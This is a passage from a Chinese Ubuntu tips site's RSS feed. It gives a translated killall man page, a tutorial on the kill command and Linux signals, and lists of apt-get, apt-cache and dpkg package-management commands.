<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>DESCRIPTION (描述)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>killall 发送一条信号给所有运行任意指定命令的进程. 如果没有指定信号名, 则发送SIGTERM.。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>信号可以以名字 (如 -HUP ) 或者数字 (如 -1 ) 的方式指定. 信号 0 (检查进程是否存在)只能以数字方式指定。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>如果命令名包括斜杠 (/), 那么执行该特定文件的进程将被杀掉, 这与进程名无关。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>如果对于所列命令无进程可杀, 那么 killall 会返回非零值. 如果对于每条命令至少杀死了一个进程, killall 返回 0。Killall 进程决不会杀死自己 (但是可以杀死其它 killall 进程)。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>OPTIONS (选项)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-e</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>对 于很长的名字, 要求准确匹配. 如果一个命令名长于 15 个字符, 则可能不能用整个名字 (溢出了). 在这种情况下, killall 会杀死所有匹配名字前 15 个字符的所有进程. 有了 -e 选项,这样的记录将忽略. 如果同时指定了 -v 选项, killall 会针对每个忽略的记录打印一条消息。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-g</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>杀死属于该进程组的进程. kill 信号给每个组只发送一次, 即使同一进程组中包含多个进程。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-i</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>交互方式，在杀死进程之前征求确认信息。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-l</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>列出所有已知的信号名。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-q</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>如果没有进程杀死, 不会提出抱怨。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-v</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>报告信号是否成功发送。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-V</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>显示版本信息。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>-w</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>等待所有杀的进程死去. killall 会每秒检查一次是否任何被杀的进程仍然存在, 仅当都死光后才返回. 注意: 如果信号被忽略或没有起作用, 或者进程停留在僵尸状态, killall 可能会永久等待。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>FILES(相关文件)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>/proc proc文件系统的存在位置。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>KNOWN bugS (已知 BUGS)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>以文件方式杀死只对那些在执行时一直打开的可执行文件起作用, 也即, 混杂的可执行文件不能够通过这种方式杀死。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>要警告的是输入 killall name 可能不会在非 Linux 系统上产生预期的效果, 特别是特权用户执行时要小心。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<p>在两次扫描的间隙, 如果进程消失了而被代之以一个有同样 PID 的新进程, killall -w 侦测不到。</p>
<p><strong style="font-style: normal; font-weight: bold; line-height: normal;"><span style="line-height: normal; color: #ff0000;">二.Linux的kill命令与信号控制</span></strong><br style="line-height: normal;" />信 号是用来与守护程序和进程通信的。任何活动任务都是一个进程，而守护程序是等待对某些事件做出反应或者按照日程安排执行任务的后台服务。一个程序必须有建 在其中的信号处理程序用于捕获和应答信号。在LINUX中的signal参考指南解释了各种不同信号和这些信号的用途。信号是由“kill”命令发出的。 kill -l命令可以显示一个可用信号列表及其编号。<br style="line-height: normal;" />所有的守护程序和进程都有一个进程ID(PID)，例如使用ps命名所显示的内容：<br style="line-height: normal;" />$ ps aux<br style="line-height: normal;" />USER PID %CPU %MEM TTY STAT COMMAND<br style="line-height: normal;" />root 1 0.0 0.1 ? S init [2]<br style="line-height: normal;" />105 7783 0.0 0.2 ? Ss /usr/bin/dbus-daemon &#8211;system<br style="line-height: normal;" />hal 7796 0.0 0.7 ? Ss /usr/sbin/hald<br style="line-height: normal;" />postfix 7957 0.0 0.2 ? S qmgr -l -t fifo -u -c<br style="line-height: normal;" />nagios 8371 0.0 0.2 ? SNs /usr/sbin/nagios /etc/nagios/nagios.cfg<br style="line-height: normal;" />这 个输出是经过简化的。你在系统中可以看到更多的行和栏目。如果某些进程消耗了你的全部CPU或者内存，你可以在这个输出的%CPU和%MEM列中发现它 们。找到失控的进程的一种更快捷的方法是使用top命令，因为按照默认的设置，使用占用CPU资源最多的进程在最上面显示。我们可以使用一条“yes”命 令来测试一下:<br style="line-height: normal;" />$ yes carla is teh awesum<br style="line-height: normal;" />这个命令将以很高的速度反复显示“carla is teh awesum”，直到你停止它运行。这将使你的CPU使用率达到警戒线。<br style="line-height: normal;" />$ top<br style="line-height: normal;" />&#8230;<br style="line-height: normal;" />PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND<br style="line-height: normal;" />12144 carla 25 0 31592 17m 13m R 93.4 3.5 0:50.26 konsole<br style="line-height: normal;" />22236 carla 15 0 2860 468 400 S 4.3 0.1 0:00.97 yes<br style="line-height: normal;" /> 分析一下这个结果，你会发现一些有趣的事，你会发现，占用CPU最多的程序是konsole虚拟终端程序，而不是“yes”命令，这是因为“yes”命令 是在konsole终端程序中运行的。如果在一个“真正的”控制台(按Ctrl+alt+f2键)中运行同样的命令序列，你将看到“yes”命令被排在第 一位。<br style="line-height: normal;" />有许多停止“yes”命令运行的方式。如果你要回到运行它的shell中，按CTRL+c键就可以了。或者你可以在另一个shell中用“kill”命令停止“yes”命令的运行，Kill命令后面跟PID或者命令名称，如下如示:<br style="line-height: normal;" />$ kill 22236<br style="line-height: normal;" />或者<br style="line-height: normal;" />$ killall yes<br style="line-height: normal;" />按 CTRL+c键发出一个SIGINT（信号2），这个信号是键盘要求取得控制权的中断信号。kill和killall这两个命令按照默认的设置都发出一个 SIGTERM信号(编号15)。程序中可以设置对SIGTERM信号(15)是捕捉或者忽略，或者以不同的方式解释。因此，如果你的程序对于KILL命 令的反应与你预期不同，很可能是被KILL的目标程序的问题。<br style="line-height: normal;" />终止一个父进程通常也终止了它的子进程。不过，情况并不总是如此。你知道子进程是什么吗?使用ps命令加上-f选项就可以看到，如下所示:<br style="line-height: normal;" />$ ps axf<br style="line-height: normal;" />22371 ? R 2:35 _ konsole [kdeinit]<br style="line-height: normal;" />22372 pts/3 Ss 0:00 | _ /bin/bash<br style="line-height: normal;" />24322 pts/3 S+ 0:00 | | _ yes carla is teh awesum<br style="line-height: normal;" />22381 pts/4 Rs 0:00 | _ /bin/bash<br style="line-height: normal;" />24323 pts/4 R+ 0:00 | | _ ps axf<br style="line-height: normal;" />现在，回到SIGHUP的话题<br style="line-height: normal;" />SIGHUP的发音是“sig-hup”，是signal hangup的缩写，含义是“中止信号”。你如何发送一个SIGHUP信号呢?这里有几种方式:<br style="line-height: normal;" /># kill -HUP [pid]<br style="line-height: normal;" /># killall -HUP [process-name]<br style="line-height: normal;" /># kill -1 [pid]<br style="line-height: normal;" /># killall -1 [process-name]<br style="line-height: normal;" />因 此，你可以使用PID或者名称，信号名称或者号码。那么为什么要这样做而不使用/etc/init.d/foo命令重新启动呢?使用它们自己的 init(初始化)文件来控制服务是优先选择的方式，因为这些文件通常包含健全和错误检查以及额外的功能。使用“kill”命令和信号的主要原因是尽可能 明确地终止挂起和失控的进程，而不必重新启动或者登出。<br style="line-height: normal;" /><strong style="font-style: normal; font-weight: bold; line-height: normal;">终止进程</strong><br style="line-height: normal;" />正如你在关于信号的man page中所看到的，有十几种控制进程的方法。下面是一些常用的方法:<br style="line-height: normal;" />kill -STOP [pid]<br style="line-height: normal;" />发送SIGSTOP (17,19,23)停止一个进程，而并不消灭这个进程。<br style="line-height: normal;" />kill -CONT [pid]<br style="line-height: normal;" />发送SIGCONT (19,18,25)重新开始一个停止的进程。<br style="line-height: normal;" />kill -KILL [pid]<br style="line-height: normal;" />发送SIGKILL (9)强迫进程立即停止，并且不实施清理操作。<br style="line-height: normal;" />kill -9 -1<br style="line-height: normal;" />终止你拥有的全部进程。<br style="line-height: normal;" />SIGKILL和SIGSTOP信号不能被捕捉、封锁或者忽略，但是，其它的信号可以。所以这是你的终极武器。<br style="line-height: normal;" />Bash shell的Kil命令l<br style="line-height: normal;" />Bash外壳包含一个内置的kill命令，当执行下面命令:<br style="line-height: normal;" />$ type -all kill<br style="line-height: normal;" />kill is a shell built-in<br style="line-height: normal;" />kill is /bin/kill<br style="line-height: normal;" />命令的结果表明有两个kill命令，一个是BASH的内置命令，另一个是/bin/kill可执行程序。一般来说这两个命令不太可能遇到冲突的情况，不过，如果你确实遇到了kill命令行为异常时，你可以明确的指定/bin/kill命令。<br style="line-height: normal;" />你一定要进一步查阅下面的资源中列出的参考资源来了解Linux中kill的妙用，因为这是你进入维护Linux系统领域的门票。这些知识能够让你像做外科手术一样对系统进行维护，而不用在遇到问题时每一次都重新启动系统，就像我们知道的某些蹩脚的操作系统那样。<br style="line-height: normal;" /><strong style="font-style: normal; font-weight: bold; line-height: normal;">资源</strong><br style="line-height: normal;" />Linux Cookbook一书的第七章“开始和终止Linux”<br style="line-height: normal;" />bash (1) &#8211; GNU Bourne-Again Shell<br style="line-height: normal;" />yes (1) &#8211; 在被终止前反复打印字符<br style="line-height: normal;" />signal (7) &#8211; 可用信号列表<br style="line-height: normal;" />ps (1) &#8211; 报告当前进程的快照<br style="line-height: normal;" />kill (1) &#8211; 向一个进程发出信号<br style="line-height: normal;" />killall (1) &#8211; 按名字消灭进程<br style="line-height: normal;" />pkill (1) &#8211; 根据名字和其它属性查看或者发出进程信号<br style="line-height: normal;" />skill (1) &#8211; 发送一个信号或者报告进程状态<br style="line-height: normal;" />xkill (1) &#8211; 按照X资源消灭一个客户程序
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/ubuntu-kill-command.html" rel="bookmark" title="Ubuntu kill命令用法详解">Ubuntu kill命令用法详解</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=318&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/up-ubuntu.html' rel='bookmark' title='Permanent Link: 10大最具价值开源软件 Ubuntu 上榜'>10大最具价值开源软件 Ubuntu 上榜</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-grub.html' rel='bookmark' title='Permanent Link: ubuntu－重装XP后如何恢复GRUB启动菜单'>ubuntu－重装XP后如何恢复GRUB启动菜单</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-forget-password.html' rel='bookmark' title='Permanent Link: Ubuntu 忘记用户名密码的解决方法'>Ubuntu 忘记用户名密码的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-10-04-gurb-add-command.html' rel='bookmark' title='Permanent Link: ubuntu 10.04 开机增加命令界面'>ubuntu 10.04 开机增加命令界面</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-ctrlaltbackspace.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10中Ctrl+Alt+Backspace启用方法'>Ubuntu 9.10中Ctrl+Alt+Backspace启用方法</a></li>
<li><a href='http://www.ubuntuhome.com/virtualbox-usb.html' rel='bookmark' title='Permanent Link: VirtualBox USB解决方案'>VirtualBox USB解决方案</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/ubuntu-kill-command.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ubuntu的apt命令详解</title>
		<link>http://www.ubuntuhome.com/ubuntu-command-apt.html</link>
		<comments>http://www.ubuntuhome.com/ubuntu-command-apt.html#comments</comments>
		<pubDate>Tue, 11 Aug 2009 14:26:04 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[apt]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=284</guid>
		<description><![CDATA[之前已经有简单列过APT命令的用法，这一篇是主要来说说apt命令 apt-get install packagename——安装一个新软件包（这个是最经常用到的） apt-get update&#8211;&#62;在修改/etc/apt/sources.list或/etc/apt/preferences之后运行该命令 apt-get remove packagename&#8211;&#62;卸载一个已安装的软件包（保留配置文档） apt-get &#8211;purge remove packagename&#8211;&#62;卸载一个已安装的软件包（删除配置文档） dpkg &#8211;force-all &#8211;purge packagename &#8211;&#62;有些软件很难卸载，而且还阻止了别的软件的应用，就能够用这个，但是有点冒险 apt-get autoclean apt&#8211;&#62;会把已装或已卸的软件都备份在硬盘上，所以假如需要空间的话，能够让这个命令来删除您已删掉的软件 apt-get clean &#8211;&#62;这个命令会把安装的软件的备份也删除，但是这样不会影响软件的使用的 apt-get upgrade&#8211;&#62;更新任何已安装的软件包 apt-get dist-upgrade&#8211;&#62;将系统升级到新版本 apt-cache search string&#8211;&#62;在软件包列表中搜索字符串 dpkg -l package-name-pattern&#8211;&#62;列出任何和模式相匹配的软件包。假如您不知道软件包的全名，您能够使用“*package-name-pattern*”。 aptitude——周详查看已安装或可用的软件包。和apt-get类似，aptitude能够通过命令行方式调用，但仅限于某些命令——最常见的有安装和卸载命令。由于aptitude比apt-get了解更多信息，能够说他更适合用来进行安装和卸载。 apt-cache showpkg pkgs&#8211;&#62;显示软件包信息 apt-cache show pkgs&#8211;&#62;显示软件包记录，类似于dpkg –print-avail apt-cache pkgnames&#8211;&#62;打印软件包列表中任何软件包的名称 apt-cache dumpavail&#8211;&#62;打印可用软件包列表 dpkg -S file&#8211;&#62;这个文档属于哪个已安装软件包 dpkg -L package&#8211;&#62;列出软件包中的任何文档 apt-file search filename——查找包含特定文档的软件包（不一定是已安装的），这些文档的文档名中含有指定的字符串。apt-file是个单独的软件包。您必须先使用apt-get [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-intall-remove-command.html' rel='bookmark' title='Permanent Link: Ubuntu 安装和卸载命令'>Ubuntu 安装和卸载命令</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/install-ubuntu-backup.html' rel='bookmark' title='Permanent Link: 重新安装Ubuntu不用怕&#8211;教你怎样备份'>重新安装Ubuntu不用怕&#8211;教你怎样备份</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/grub2-splash-images-for-ubuntu-10-049-10.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04/9.10的Grub2启动背景图片'>Ubuntu 10.04/9.10的Grub2启动背景图片</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-tweak-0-5-5.html' rel='bookmark' title='Permanent Link: Ubuntu Tweak 0.5.5正式发布'>Ubuntu Tweak 0.5.5正式发布</a></li>
<li><a href='http://www.ubuntuhome.com/wget-tips.html' rel='bookmark' title='Permanent Link: wget 使用技巧'>wget 使用技巧</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/firefox-image-search-options.html' rel='bookmark' title='Permanent Link: Firefox的反向图片搜索工具Image Search Options'>Firefox的反向图片搜索工具Image Search Options</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />之前已经有简单列过APT命令的用法，这一篇是主要来说说apt命令</p>
<p>apt-get install packagename——安装一个新软件包（这个是最经常用到的）</p>
<p>apt-get update&#8211;&gt;在修改/etc/apt/sources.list或/etc/apt/preferences之后运行该命令</p>
<p>apt-get remove packagename&#8211;&gt;卸载一个已安装的软件包（保留配置文档）</p>
<p>apt-get &#8211;purge remove packagename&#8211;&gt;卸载一个已安装的软件包（删除配置文档）</p>
<p>dpkg &#8211;force-all &#8211;purge packagename &#8211;&gt;有些软件很难卸载，而且还阻止了别的软件的应用，就能够用这个，但是有点冒险</p>
<p><span id="more-284"></span></p>
<p>apt-get autoclean apt&#8211;&gt;会把已装或已卸的软件都备份在硬盘上，所以假如需要空间的话，能够让这个命令来删除您已删掉的软件</p>
<p>apt-get clean &#8211;&gt;这个命令会把安装的软件的备份也删除，但是这样不会影响软件的使用的</p>
<p>apt-get upgrade&#8211;&gt;更新任何已安装的软件包</p>
<p>apt-get dist-upgrade&#8211;&gt;将系统升级到新版本</p>
<p>apt-cache search string&#8211;&gt;在软件包列表中搜索字符串</p>
<p>dpkg -l package-name-pattern&#8211;&gt;列出任何和模式相匹配的软件包。假如您不知道软件包的全名，您能够使用“*package-name-pattern*”。</p>
<p>aptitude——周详查看已安装或可用的软件包。和apt-get类似，aptitude能够通过命令行方式调用，但仅限于某些命令——最常见的有安装和卸载命令。由于aptitude比apt-get了解更多信息，能够说他更适合用来进行安装和卸载。</p>
<p>apt-cache showpkg pkgs&#8211;&gt;显示软件包信息</p>
<p>apt-cache show pkgs&#8211;&gt;显示软件包记录，类似于dpkg –print-avail</p>
<p>apt-cache pkgnames&#8211;&gt;打印软件包列表中任何软件包的名称</p>
<p>apt-cache dumpavail&#8211;&gt;打印可用软件包列表</p>
<p>dpkg -S file&#8211;&gt;这个文档属于哪个已安装软件包</p>
<p>dpkg -L package&#8211;&gt;列出软件包中的任何文档</p>
<p>apt-file search filename——查找包含特定文档的软件包（不一定是已安装的），这些文档的文档名中含有指定的字符串。apt-file是个单独的软件包。您必须先使用apt-get install来安装他，然後运行apt-file update。假如apt-file search filename输出的内容太多，您能够尝试使用apt-file search filename | grep -w filename（只显示指定字符串作为完整的单词出现在其中的那些文档名）或类似方法，例如：apt-file search filename | grep /bin/（只显示位于诸如/bin或/usr/bin这些文档夹中的文档，假如您要查找的是某个特定的执行文档的话，这样做是有帮助的）。 apt-get autoclean——定期运行这个命令来清除那些已卸载的软件包的.deb文档。
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/ubuntu-command-apt.html" rel="bookmark" title="Ubuntu的apt命令详解">Ubuntu的apt命令详解</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=284&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-intall-remove-command.html' rel='bookmark' title='Permanent Link: Ubuntu 安装和卸载命令'>Ubuntu 安装和卸载命令</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/install-ubuntu-backup.html' rel='bookmark' title='Permanent Link: 重新安装Ubuntu不用怕&#8211;教你怎样备份'>重新安装Ubuntu不用怕&#8211;教你怎样备份</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/grub2-splash-images-for-ubuntu-10-049-10.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04/9.10的Grub2启动背景图片'>Ubuntu 10.04/9.10的Grub2启动背景图片</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-tweak-0-5-5.html' rel='bookmark' title='Permanent Link: Ubuntu Tweak 0.5.5正式发布'>Ubuntu Tweak 0.5.5正式发布</a></li>
<li><a href='http://www.ubuntuhome.com/wget-tips.html' rel='bookmark' title='Permanent Link: wget 使用技巧'>wget 使用技巧</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/firefox-image-search-options.html' rel='bookmark' title='Permanent Link: Firefox的反向图片搜索工具Image Search Options'>Firefox的反向图片搜索工具Image Search Options</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/ubuntu-command-apt.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu 安装和卸载命令</title>
		<link>http://www.ubuntuhome.com/ubuntu-intall-remove-command.html</link>
		<comments>http://www.ubuntuhome.com/ubuntu-intall-remove-command.html#comments</comments>
		<pubDate>Tue, 14 Jul 2009 08:46:30 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.fcola.cn/?p=102</guid>
		<description><![CDATA[安装软件 命令： apt-get install softname1 softname2 softname3…… 卸载软件 命令： apt-get remove softname1 softname2 softname3…… 卸载并清除配置 命令： apt-get remove &#8211;purge softname1 更新软件信息数据库 命令： apt-get update 进行系统升级 命令： apt-get upgrade 搜索软件包 命令： apt-cache search softname1 softname2 softname3…… Deb软件包相关安装与卸载 安装deb软件包 命令： dpkg -i xxx.deb 原创文章如转载请注明：转自Ubuntu之家 {www.ubuntuhome.com} 本文地址:Ubuntu 安装和卸载命令 相关文章导读:Ubuntu的apt命令详解 Ubuntu中如何删除多余内核 Ubuntu 10.04/9.10的Grub2启动背景图片 重新安装Ubuntu不用怕&#8211;教你怎样备份 再谈删除系统旧内核的方法 ubuntu命令大合集 节省空间-自动删除下载的更新包 在Ubuntu中修改启动画面usplash的分辨率 Ubuntu [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/grub2-splash-images-for-ubuntu-10-049-10.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04/9.10的Grub2启动背景图片'>Ubuntu 10.04/9.10的Grub2启动背景图片</a></li>
<li><a href='http://www.ubuntuhome.com/install-ubuntu-backup.html' rel='bookmark' title='Permanent Link: 重新安装Ubuntu不用怕&#8211;教你怎样备份'>重新安装Ubuntu不用怕&#8211;教你怎样备份</a></li>
<li><a href='http://www.ubuntuhome.com/remove-old-image.html' rel='bookmark' title='Permanent Link: 再谈删除系统旧内核的方法'>再谈删除系统旧内核的方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/automatically-deleting.html' rel='bookmark' title='Permanent Link: 节省空间-自动删除下载的更新包'>节省空间-自动删除下载的更新包</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-usplash-fenbianlu.html' rel='bookmark' title='Permanent Link: 在Ubuntu中修改启动画面usplash的分辨率'>在Ubuntu中修改启动画面usplash的分辨率</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-alpha-6.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10 (Karmic Koala) Alpha 6 发布 包含 Ubuntu Software Store'>Ubuntu 9.10 (Karmic Koala) Alpha 6 发布 包含 Ubuntu Software Store</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntubreakintowindows.html' rel='bookmark' title='Permanent Link: 用ubuntu破解Windows（以及防御措施）'>用ubuntu破解Windows（以及防御措施）</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br /><img src="http://www.ubuntuhome.com/wp-content/uploads/2009/07/ubuntu_logo.png" alt="ubuntu_logo" title="ubuntu_logo" width="152" height="72" class="alignright size-full wp-image-94" />安装软件</p>
<p>命令： apt-get install softname1 softname2 softname3……</p>
<p>卸载软件</p>
<p>命令： apt-get remove softname1 softname2 softname3……</p>
<p>卸载并清除配置</p>
<p>命令： apt-get remove &#8211;purge softname1</p>
<p>更新软件信息数据库</p>
<p>命令： apt-get update</p>
<p>进行系统升级</p>
<p>命令： apt-get upgrade</p>
<p>搜索软件包</p>
<p>命令： apt-cache search softname1 softname2 softname3……</p>
<p>Deb软件包相关安装与卸载</p>
<p>安装deb软件包</p>
<p>命令： dpkg -i xxx.deb
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/ubuntu-intall-remove-command.html" rel="bookmark" title="Ubuntu 安装和卸载命令">Ubuntu 安装和卸载命令</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=102&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-command-apt.html' rel='bookmark' title='Permanent Link: Ubuntu的apt命令详解'>Ubuntu的apt命令详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/grub2-splash-images-for-ubuntu-10-049-10.html' rel='bookmark' title='Permanent Link: Ubuntu 10.04/9.10的Grub2启动背景图片'>Ubuntu 10.04/9.10的Grub2启动背景图片</a></li>
<li><a href='http://www.ubuntuhome.com/install-ubuntu-backup.html' rel='bookmark' title='Permanent Link: 重新安装Ubuntu不用怕&#8211;教你怎样备份'>重新安装Ubuntu不用怕&#8211;教你怎样备份</a></li>
